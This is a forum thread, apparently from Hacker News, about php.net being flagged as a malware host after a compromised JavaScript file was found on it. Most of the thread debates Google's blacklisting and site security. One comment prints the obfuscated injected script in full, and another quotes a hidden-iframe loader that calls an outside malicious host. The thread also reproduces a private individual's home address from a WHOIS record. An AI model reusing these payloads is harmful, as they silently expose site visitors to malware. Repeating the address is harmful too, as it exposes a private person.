Php.net detected as a malware host by Google Safe Browsing
google.com
google.com
What our systems found was definitely a compromised JS file, and others on this thread have posted something similar to what we saw. This is not a false positive.
We have detailed help for webmasters in this kind of situation:
http://www.google.com/webmasters/hacked/
One thing that I strongly suggest to any webmaster in this situation is to look for any server vulnerability that allowed this file to get compromised in the first place. We sometimes see webmasters simply fix the affected files without digging into security hole that allowed the hack, which leaves the server vulnerable for repeat attacks.
Happy to answer questions.
Thanks
http://www.google.com/safebrowsing/diagnostic?site=http://ph...
Verified owners in Webmasters Tools get more info.
>> Malicious software is hosted on 4 domain(s), including cobbcountybankruptcylawyer.com/, stephaniemari.com/, northgadui.com/.
What does this mean? How do these sites relate to php.net?
There are huge repercussions for any website that gets blacklisted with the Stop Badware clearinghouse, the least of which is the inability to figure out exactly where the problem actually is because the company you work for's information for a webmaster to resolve the problem is ridiculously minimal. There are no notifications (unless you are signed up for Google Webmaster Tools) and restoring a website to normal globally can take anywhere from 48 hours to two weeks. There are millions of developers who rely on the PHP website daily for performing their day jobs and you've now made it that much harder for us to do our jobs.
Stop Badware needs a serious overhaul. At the very least, they should contact the contacts in the WHOIS record for the domain BEFORE doing anything. Give the website owners 24 hours to resolve the issue before blacklisting the site. And give them a heck of a lot more information to go on than some vague text.
Also, there are several anti-virus vendors out there who use the clearinghouse database for their products...6 to 12 months after the original blacklisting. So this will happen all over again 6 to 12 months from now. Finding contacts for anti-virus vendors for removing domain blocks is a lot harder than removal from the blacklist on the Stop Badware site.
The CORRECT solution for this situation was to find a contact at PHP who could resolve the issue quickly and amicably. Seriously, how hard is it to locate Rasmus' e-mail address? Always try to find a human contact before using Stop Badware. You can chalk using Stop Badware for the PHP website as being the dumbest decision you've made this year. Hopefully this decision of yours will raise the ire of the Internet just enough to force the company you work for to revamp Stop Badware so it doesn't suck, Google Webmaster Tools so they don't suck, and the reporting tools for sending information to Stop Badware so they also don't suck.
Why? This isn't a responsible disclosure, "we found a potential vulnerability but we don't know if it's being exploited yet" kind of situation. This is a "there's a real threat to anyone visiting that site via your search engine right now" kind of situation.
As a user, I'd be much happier if the search engine flagged this immediately.
As a site owner, if someone found malware on my site I'd want to know ASAP too. Obviously it would be helpful if they sent me a notification and made the specific details of the identified threat available. However, I could hardly criticise them for blacklisting my site while it should be blacklisted, or for claiming that we were dangerous while we were actually serving malware.
Not clearing up the blacklists promptly after the threat is identified and removed is an entirely different question. If you're going to go around blacklisting sites then I think you also have a responsibility (and, for that matter, you should also have a legal obligation) to remove them from the blacklist with similar efficiency if you're notified that the threat has been removed. Claiming that someone's site is dangerous when it isn't is defamatory, and should be treated as such.
It's incorrect to say that Google doesn't attempt to contact the site owner. According to the Webmaster Tools support site [0], Google will send notices to several common email addresses when it blacklists a site.
[0]: https://support.google.com/webmasters/answer/163633?hl=en#2
Why should google do that ? because it's Rasmus? they dont have to do that period.
The CORRECT SOLUTION is to protect users FIRST and not allow the site to infect more computers.
IT IS NOT google responsability to warn webmasters if their site are infected (though they can be warned by email automatically).
IT IS the webmaster's responsability to audit his website security, which obviously did not happen with php.net. If they get punished for that , that's FAIR , because it will force them to take security more seriously.
[edit] it's hight time people move from httpd to something else like nginx. httpd is insecure by default, this is not how you deal with security. as for PHP, since it doesnt promote any good security practice by default, it should be avoided.
> You sir, get -9,001 Internets.
Cut this shit out, you're not on reddit.
A million times THIS!
As a student interested in security, will the js file be provided so we can examine and learn how this was done outside of privileged access?
EDIT
OKay looks like safe browsing said it is no longer suspicious. And I think someone already provided the JS file below.
Google's safe browsing looks pretty cool! Really powerful infrastructure. I wonder if they did this with virustotal? Can virustotal recongize this?
Another thing is other search engines dont seem to have this built-in. I wonder people using DDG will ever think about querying Google safe browsing or not.
Does google provide an api (beside just querying safebrowsing directly).
http://productforums.google.com/d/msg/webmasters/puLmvjtK0m8...
2) Now when I browse to static userprefs.js on my desktop in incognito mode, no obfuscated contents.
3) When i browse to static userprefs.js on normal mode I get the following js appended:
(function (MH) {
var aS = "\x96\xad\xa1\xb4\x87\xf8J\x04Y.C\xb4u>\xac\xa8\x95\xbd\x04x\x8e\xa6:\x8c\x00O\x0b`\x04\x20-M@O\x00\x0d+\x0c\x0b\x04IM\x00d\x0fhbH"+
"mOO\x08J-\x0a.`iK\x00\x20(\x0b\x08)MM\x00d\x0bhKbmbb\x0bJ-\x09-`OhDf\x08)*B1*C0k\x0d,j2\x0c5+;|C\x19qSu\x1bgT`?\x0c\"1N'v\x0b-,H8"+
"ky6Er\x04!]\x19uVD.\x20\x15$qe\x20S>:sU\x1e:2#\x13MQ\x1c<\x20\x02)\x0eSTBlf\x05?62:`In\x17T&\x0c\"\x1e7Y\x01X@\x00/.q\x12\"\x08f#"+
"\x04k\x0a\x15`k.\x15rf\x0cbS\x20|x\x106CZ\x14\x18Xu1>:rXy\x0evb\x0d,q\x16\x06j\x025U\"cX\x15y|<2W~\x16\x032-T\x15\x17\\\\q\x01\x03"+
"\x09g\x00/.q\x12\"\x08f^\x1as$\x13f\x0e\x20i\x08Ur&H`\x1dd\x17Pt|{\x18Xu5@kn5\x14$*bx\"Yc-&}?~~2Afm\x0c\x11T\x04j`^5tRb\x0d]\x08\"]"+
"\x19uVD.\x20\x129wq9S\\\x1e:Qv`+lqVBhBv^?id\x20\x0dh\x11v\"*@\x1e:Rr1<\x00xx\x13&9`\x09,wPd\x0cfzWzA\x06\x1e\x1eBknW\x16B(\x06a\x00q\x02)"+
"\x7f*q\x19\x1f\x11v\"*@t9F`k.\x15rf\x0cb[6|\"g{S\x06m\x19\x0c6?9\x17\x14\x06j`8;\x10@Q\x1aBk\x0cUt`*\x06w4\x03\x0f~#f\x1e\x18rw\x20i\x08U"+
"r&H`|x\x15`!D\x18<\x11p^\x1apr<:r6\x1c\\2\x14\x1c\x18s\x18\"\x0b*Wr\"l\x02~dF\x16h<:s`\x1c\\7B\x1c\x18rC<i~U@#\x18XucDs\x14M%\x1ezp\x11:"+
"\x12\x1c\x18s\x144^w=x<tA!]>:u\x06\x1e:3s\x02A@\x1c\x18sC~T_\x20\x0dh\x11v\"*@!\x1eB\x1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e\x17k\x1b}\x0b=\x7fA(7E?P,5\x195\x14$*b\x17f\x00\x05"+
"\x13\x1e|\\Z77x<u\x16sL\x06`k=j\x17T&\x0c\"\x19<\\\x09QP\x00/.B1*C0k\x0d,jI9\x1akhvNSi[?\x09;_{\x7f\x0dl3I*f\x0d5k[",
Z7 = ["\x73\x70\x6c\x69\x74", XC = 0x09 * 17, "\x6c\x65\x6e\x67\x74\x68", "\x68\x61\x73\x4f\x77\x6e\x50\x72\x6f\x70\x65\x72\x74\x79"],
Jm = "\xd5\xb6\xf9\x89\x9eT\x1a\xe4\x9a\x87\xd3\x16r\xa4\x99}Q\x8c\xc8\xe3t\xf4\xf9\xedC",
jS = aS["\x73\x75\x62\x73\x74\x72\x69\x6e\x67"](0, Jm[Z7[2]]);
UVf = function (wD) {
var Np, uK, Ugx = uK = "",
DUB = 0;
wD = wD[Z7[0]](Ugx);
for (Np in wD) {
if (wD[Z7[3]](Np)) {
uK += pVH(wD[Np], jS[Z7[0]](Ugx)[DUB %= jS[Z7[2]]]);
DUB++;
}
}
return (uK);
};
jS = UVf(Jm);
MH[UVf("'t!H")](UVf(aS[UVf("1w\"WtV)\x0e%")](Jm[UVf(".g.CtL")])))
})(window, pVH = function (g6D, FFl, LyS, mnT) {
g6D = g6D[LyS = "\x63" + (mnT = "\x68\x61\x72\x43\x6f\x64\x65") + "\x41\x74"](0);
return (String["\x66\x72\x6f\x6d\x43" + mnT](g6D & XC | ((g6D & (~XC & 0xff)) ^ (FFl[LyS](0) & (~XC & 0xff)))))
});
4) When I control F5 the page to refresh, obfuscated contents are gone.So I'm leaning towards it being hacked a while ago and the hacked version was in my cache.
You simply get blacklisted after the first serving
strings /path/to/modules/* | grep -i blacklist
[1] http://malwaremustdie.blogspot.com/2013/03/the-evil-came-bac... tmp3 = (tmp2 = document.createElement('iframe')).style;
tmp2.src = 'http://lnkhere.reviewhdtv.co.uk/stat.htm';
tmp1 = (tmp0 = document.createElement('div')).style;
tmp1.width = tmp1.height = '-10000px';
tmp1.overflow = 'hidden'; tmp1.position = 'absolute'; tmp1.left = '-10000px';
tmp4 = document.getElementsByTagName('div');
tmp4[Math.floor(Math.random() * tmp4.length)].appendChild(tmp0).appendChild(tmp2);
Wrapped into onload.(yes, yes, I know that DIVs aren't really non-semantic - it's a joke)
But if they are able to hack into the server, I supposed there is nothing to do then...
If my assumption is correct, then CSP won't help unless we separate the source server and the proxy server from each other.
I've noticed that hacks have gone up recently in my little part of cyberspace. Things like Cryptolocker are so profitable that its motivating a lot of talented guys to get into malware and hack servers. Usually servers running some unpatched CMS or module.
If you have this in your html as the only form:
<form>
<input type="text" id="pattern"/>
<input type="text" id="show" value="quickref" />
</form>
<script>
document.forms[0].pattern = document.getElementById('pattern');
document.forms[0].show = document.getElementById('show');
</script>
then include the functions js you will see an autocomplete list of functions when you type into the pattern box. The lists of function names are stored in a compressed string at the top so it's not really obfuscated, just minified. They shouldn't store it minified though.Could this be a DNS issue, with a different server serving the bad .js file?
My IP for static.php.net is 69.147.83.201.
Logs show a subset of what has happened. There's no way to prove they are showing everything, so there's no way to use them to prove what did not happen.
http://safebrowsing.clients.google.com/safebrowsing/diagnost...
Notably the whois on that domain includes the registrants full name and address. Nominet allows personal registrants an opt-out on the full details in whois, so you would be unlikely to try and hack PHP.net and forget to use a privacy service on a domain name that isn't quite so traceable..
The domain record for that site show:
Domain name:
reviewhdtv.co.uk
Registrant:
Oli Bachini
Registrant type:
UK Individual
Registrant's address:
Rainbow Cottage
West Perry
Huntingdon
Cambs
PE28 0BX
United Kingdom
Registrar:
Webfusion Ltd t/a 123-reg [Tag = 123-REG]
URL: http://www.123-reg.co.uk
Relevant dates:
Registered on: 13-Oct-2010
Expiry date: 13-Oct-2014
Last updated: 06-Oct-2012
Registration status:
Registered until expiry date.
Name servers:
ns.123-reg.co.uk
ns2.123-reg.co.uk
WHOIS lookup made at 11:44:39 24-Oct-2013You are just making them a target for malicious people who would otherwise be too lazy to find that information.
It is pretty bad form to post people's personal addresses on a forum such as this.
>> You are just making them a target for malicious people who would otherwise be too lazy to find that information.
I already addressed that.
$ zcat ~/Downloads/static.log.gz |
perl -lne'if (m/ 200 (\d+)/) { print $1 }'|sort |uniq -c
390 0
523 10881
639 12479
16276 1279
178111 2602
1 4071
14 4072
63 4801
112 4812
9431 5097
27654 5821
110 5911
1348 6008
162 7884
256 8278
568 9035
1103 9634
That's a lot of changesUpdate: no, you're correct, this log apparently only has one file.
http://www.google.com/safebrowsing/diagnostic?site=http://go...
It reports google.com for 142 exploit(s), 131 trojan(s), 98 scripting exploit(s)
Compare how many google.com pages have been tested and how much php.net pages have been tested and stop with that non sense.
http://barracudalabs.com/2013/10/php-net-compromise/
Cheers.
Windows, Firefox 24.0
I think our social media coordinator got a little happy with the options. For now disable JS to get a nice read, I'll see about getting that fixed.
EDIT: fixed, looks like last update of WP-Socializer introduced the bug. Disabled for the time being. Thank you and sibling poster for pointing it out.
What happens? Is it bad that that Google protects users from malware and notifies webmasters that their website was compromised?
1. Google is blocking access to the site in Chrome.
2. Firefox is warning users that php.net is not to be trusted (it uses the same list of infected sites provided by Google).
3. Google is warning users on Google Search that "This site may harm your computer.".
4. Google's appeals process is slow and cumbersome.
So yeah, that is a lot of power for one company.
If this happened to your website due to, for example a false positive, you would be pretty unhappy. Only a high profile project like PHP gets this kind of attention, but I'd happily wager that many smaller websites suffer the same faith every day.
And after that, it forces the owners of the site to register with Google and use Google services just to even figure out why, and to get their sites unflagged. And that is after the owner even figured out how and where to contact Google.
They don't force anyone to sign up. If you do nothing other than fixing your website, eventually Google will check it again and remove from blacklist.
Seriously, what's your complaint? If you don't want to get blacklisted, don't let your site be hacked. If your site is hacked, and you're complaining that Google blacklisted it and notified you about it, you're dumb.
And guess what -- they provide this service (and also pay the real person to review your re-listing request) for FREE.
>And after that, it forces the owners of the site to register with Google and use Google services just to even figure out why, and to get their sites unflagged.
Google forces you to prove that you own the domain before they give you any information that they don't release publicly. How else do you suggest they go about not releasing everything publicly? Also, all you have to do as a site owner is click on the safe browsing diagnostic link and go from there.
A good reminder that anyone's low-profile website may not seem a tempting target, but it's still very much at risk.
Thank you, thank you, ladies and gentlemen, I'll be here all week!
And now forevermore the icon for that site in the url-bar dropdown is the warning icon, and I have not been able to find out how to change it back to the normal one.
[1] Tools -> Options -> Advanced -> Network -> Cached Web Content -> Clear Now
For the past year or more there have been compromises in this pattern - Linux/unix platform, Apache webserver; foreign Javascript or PHP gets inserted somehow; and/or in some cases the server binary is replaced. Sample article: http://arstechnica.com/security/2013/04/exclusive-ongoing-ma... - you can find more on this.
The big question is how the original exploit happens. It may be a long-out-there 0-day, or some admin tool that the sites have in common, or credentials taken from compromised boxes of developers, or something else.
Edited to update info.
[1] http://arstechnica.com/security/2013/02/dev-site-behind-appl...
tl;dr: Relevant services moved to new servers; investigation continuing. Post mortem to follow once that's done.
All php releases are signed and checksummed on the d/l page.
https://code.google.com/p/google-safe-browsing/wiki/Protocol...
Yeah, that's definitely a problem with google alright. Just because the entire PHP team disregards security completely, doesn't mean the consequences of that are google's problem. The fact that they just assume it is a false positive and don't even bother to verify their hacked site is incredible.
Any website in the world has the potential to be flagged as serving malware.
[0] http://www.pcworld.com/article/240609/mysqlcom_hacked_to_ser... [1] http://www.marw0rm.com/xss-flaw-on-office-microsoft-com-disc... etc
PHP has too many unsecure apis accessible to beginners.
With Django for instance you have a view layer with auto escaping by default.You dont write unsecure SQL queries ,..., That makes a huge difference.
95% of compromised websites are PHP ones.
That's the reason why PHP will die eventually,when businesses understand while it's cheap to go online with a PHP cms, once you get hacked , it will cost you your business.
"PHP: Hypertext Preprocessor
php.net/
This site may harm your computer.
Server-side HTML embedded scripting language. It provides web developers with a full suite of tools for ..."
Google inserts the "harm" note.
OMG! Did I just defend PHP? Gotta go take my medication.
Defacement (I consider malware injection a form of defacement) isn't unique to PHP by a long shot.